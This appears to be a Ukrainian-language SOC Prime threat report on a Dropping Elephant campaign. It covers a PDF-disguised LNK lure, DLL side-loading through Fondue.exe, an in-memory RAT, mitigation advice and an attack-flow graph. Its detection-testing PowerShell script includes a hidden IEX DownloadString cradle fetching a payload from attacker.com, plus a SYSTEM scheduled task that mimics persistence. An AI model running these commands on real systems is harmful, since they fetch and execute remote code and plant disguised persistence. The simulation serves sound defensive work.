Шкідливе ПЗ à la Mode: всередині ланцюга завантажувачів Dropping Elephant

SOC Prime Team

Стежити

Шкідливе ПЗ à la Mode: всередині ланцюга завантажувачів Dropping Elephant

Detection stack

AIDR
Alert
ETL
Query

Звіт про загрози
Потік атаки
Виявлення
Симуляції

Резюме

Вишукана кампанія, приписувана Dropping Elephant, використовує документи-приманки з китайською тематикою для доставки оновленого трояна віддаленого доступу, який зберігається в пам’яті. Вторгнення покладається на завантаження DLL через легітимний бінарний файл Microsoft та завантажувач Donut shellcode, щоб уникнути виявлення на диску. Кінцеве навантаження також використовує передові методи ухилення, включаючи вирівнювання потоку управління та реконструкцію API під час виконання.

Розслідування

Дослідники Rapid7 виявили загрозу під час проактивного полювання, яке почалося з шкідливого ярлика Windows, який маскувався під PDF-документ. Їхнє розслідування відстежило ланцюг завантаження з початкової постановки на chinagreenenergy[.]org через завантаження DLL з APPWIZ.cpl до виконання трояна в пам’яті. Аналіз на рівні коду з Diaphora підтвердив спільне походження з ранніми зразками Dropping Elephant, незважаючи на значну переробку.

Пом’якшення

Захисникам слід приділити пріоритет поведінковим виявленням, таким як ярлики, що запускають PowerShell, і підозріла постановка навантажень у C:UsersPublic. Моніторинг планових завдань з незвичними іменами та визначення завантаження DLL з неочікуваних директорій також важливі. Крім того, завдання захисту кінцевих точок повинні бути видимими на рівні пам’яті для виявлення маніпуляцій з AMSI, WLDP і ETW.

Реакція

Якщо ця активність виявлена, негайно ізолюйте уражені системи, щоб порушити подальший трафік команди і контролю. Виконайте форензіку пам’яті, щоб виявити ін’єкцію трояна, і перевірте планові завдання на стійкість. Також слід переглянути журнали мережі на несанкціонований HTTPS-трафік до відомих доменів C2 та будь-які ознаки ексфільтрації файлів.

graph TB %% Визначення класів classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef network fill:#ffff99 %% Визначення вузлів %% Початковий доступ і виконання action_user_exec[“Дія – T1204.002 Виконання користувачем: Шкідливий файл Жертва запускає шкідливий файл-ярлик Файл: GRES3001.lnk Маскування: іконка PDF”] class action_user_exec action action_icon_smuggling[“Дія – T1027.012 Обфусковані файли або інформація: Приховування через іконку LNK Вводить користувача в оману шляхом підміни іконки Метод: підробка іконки LNK-файлу”] class action_icon_smuggling action %% Етап завантажувача process_conhost[“Процес – conhost.exe Хост-процес для консольних вікон Роль: ініціює PowerShell-завантажувач”] class process_conhost process action_binary_padding[“Дія – T1027.001 Обфусковані файли або інформація: Доповнення бінарних даних Використовує обфускацію через розбиття рядків Ціль: скрипт PowerShell-завантажувача”] class action_binary_padding action tool_downloader[“Інструмент – PowerShell-завантажувач Завантажує приманки та шкідливі корисні навантаження Джерело: chinagreenenergy[.]org”] class tool_downloader tool %% Після завантаження та закріплення action_masquerading[“Дія – T1036.008 Маскування: Маскування типу файлу Перейменовує файли, щоб вони виглядали легітимними Каталог: C:\\Users\\Public\\”] class action_masquerading action action_persistence[“Дія – T1546 Виконання за подією Забезпечує закріплення через заплановане завдання Назва завдання: GoogleErrorReport Інтервал: щохвилини”] class action_persistence action %% Ланцюг виконання та сайдлоадинг action_proxy_exec[“Дія – T1218.002 Проксі-виконання через системний бінарний файл: Панель керування Використовує легітимний бінарний файл для запуску завантажувача Бінарний файл: Fondue.exe”] class action_proxy_exec action tool_loader_cpl[“Інструмент – APPWIZ.cpl Шкідливий завантажувач Панелі керування Метод: DLL Side-loading”] class tool_loader_cpl tool action_reflective_load[“Дія – T1620 Рефлексивне завантаження коду Відображає код безпосередньо в пам’ять Завантажувач: завантажувач shellcode Donut”] class action_reflective_load action %% Післяексплуатаційна активність і C2 malware_rat[“Шкідливе ПЗ – RAT Троян віддаленого доступу Стан: резидентно працює в пам’яті”] class malware_rat malware action_gather_info[“Дія – T1592 Збір інформації про хост жертви Збирає системні метадані Дані: ім’я користувача, ім’я комп’ютера, операційна система, IP-адреса”] class action_gather_info action action_c2[“Дія – TA0011 Командування та контроль Підтримує зв’язок через HTTPS Домен: gcl-power[.]org”] class action_c2 action action_exfiltration[“Дія – Захоплення екрана та ексфільтрація T1113 Захоплення екрана Мета: викрадення даних”] class action_exfiltration action %% Потік зв’язків action_user_exec –>|призводить_до| action_icon_smuggling action_icon_smuggling –>|запускає| process_conhost process_conhost –>|використовує| action_binary_padding action_binary_padding –>|виконує| tool_downloader tool_downloader –>|завантажує_до| action_masquerading action_masquerading –>|налаштовує| action_persistence action_persistence –>|активує| action_proxy_exec action_proxy_exec –>|завантажує| tool_loader_cpl tool_loader_cpl –>|використовує| action_reflective_load action_reflective_load –>|встановлює| malware_rat malware_rat –>|виконує| action_gather_info malware_rat –>|встановлює| action_c2 action_c2 –>|сприяє| action_exfiltration

Потік атаки

Опис атаки та команди: Супротивник має на меті встановити стійкість та виконати завантажувач. Щоб обійти стандартні фільтри електронної пошти, вони використовують ярлик під назвою GRES3001.lnk , що виглядає як PDF. Коли на нього натискають, він викликає conhost.exe для запуску скрипту PowerShell. Одночасно вони встановлюють стійкість, створюючи заплановане завдання під назвою GoogleErrorReport , яке призначено для запуску Fondue.exe з загальної директорії, маскуючись під легітимний репортер помилок Google, щоб уникнути поверхневого огляду.

Сценарій регресійного тестування:

# 1. Симулюємо поведінку Ярлика/Conhost
# Ми симулюємо виконання conhost.exe зі специфічним рядком у командному рядку
Start-Process "conhost.exe" -ArgumentList "/c PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
# Примітка: Щоб строго відповідати 'CommandLine contains GRES3001.lnk', ми симулюємо виклик процесу так, ніби він походить з цього файлу.
# Оскільки ми не можемо легко підробити ім'я батьківського процесу в простому скрипті, ми симулюємо цільовий рядок команд.
Write-Host "[!] Симулюємо тригер GRES3001.lnk..."
$SimulatedCmd = "conhost.exe /c GRES3001.lnk PowerShell.exe -Command Write-Host 'Malware Loaded'"
# У реальному середовищі поле 'CommandLine' у Sysmon міститиме цільовий рядок.

# 2. Симуляція запланованого завдання та завантаження Fondue.exe
Write-Host "[!] Симулюємо заплановане завдання GoogleErrorReport..."
New-Item -Path "C:UsersPublicFondue.exe" -ItemType File -Force
Set-Content -Path "C:UsersPublicFondue.exe" -Value "Dummy Payload"

$TaskName = "GoogleErrorReport"
$Action = New-ScheduledTaskAction -Execute "C:UsersPublicFondue.exe"
Register-ScheduledTask -Action $Action -TaskName $TaskName -Description "Simulated Dropping Elephant Task" -User "SYSTEM" -Force

Write-Host "[+] Симуляція завершена. Перевірте SIEM на наявність попереджень."

Команди очищення:

# Видалити фіктивний шкідливий бінарник
Remove-Item -Path "C:UsersPublicFondue.exe" -Force

# Видалити шкідливе заплановане завдання
Unregister-ScheduledTask -TaskName "GoogleErrorReport" -Confirm:$false

Write-Host "[+] Очищення завершено."

Приєднуйтесь до платформи Detection as Code від SOC Prime щоб покращити видимість загроз, найбільш актуальних для вашого бізнесу. Щоб допомогти вам розпочати та отримати негайну цінність, забронюйте зустріч зараз з експертами SOC Prime.

Приєднатися безкоштовно